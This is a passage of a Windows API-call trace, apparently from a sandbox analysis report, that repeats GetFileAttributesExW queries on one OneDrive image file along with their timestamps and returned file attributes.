nFileSizeLow=0x187)) returned 1 [0221.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, 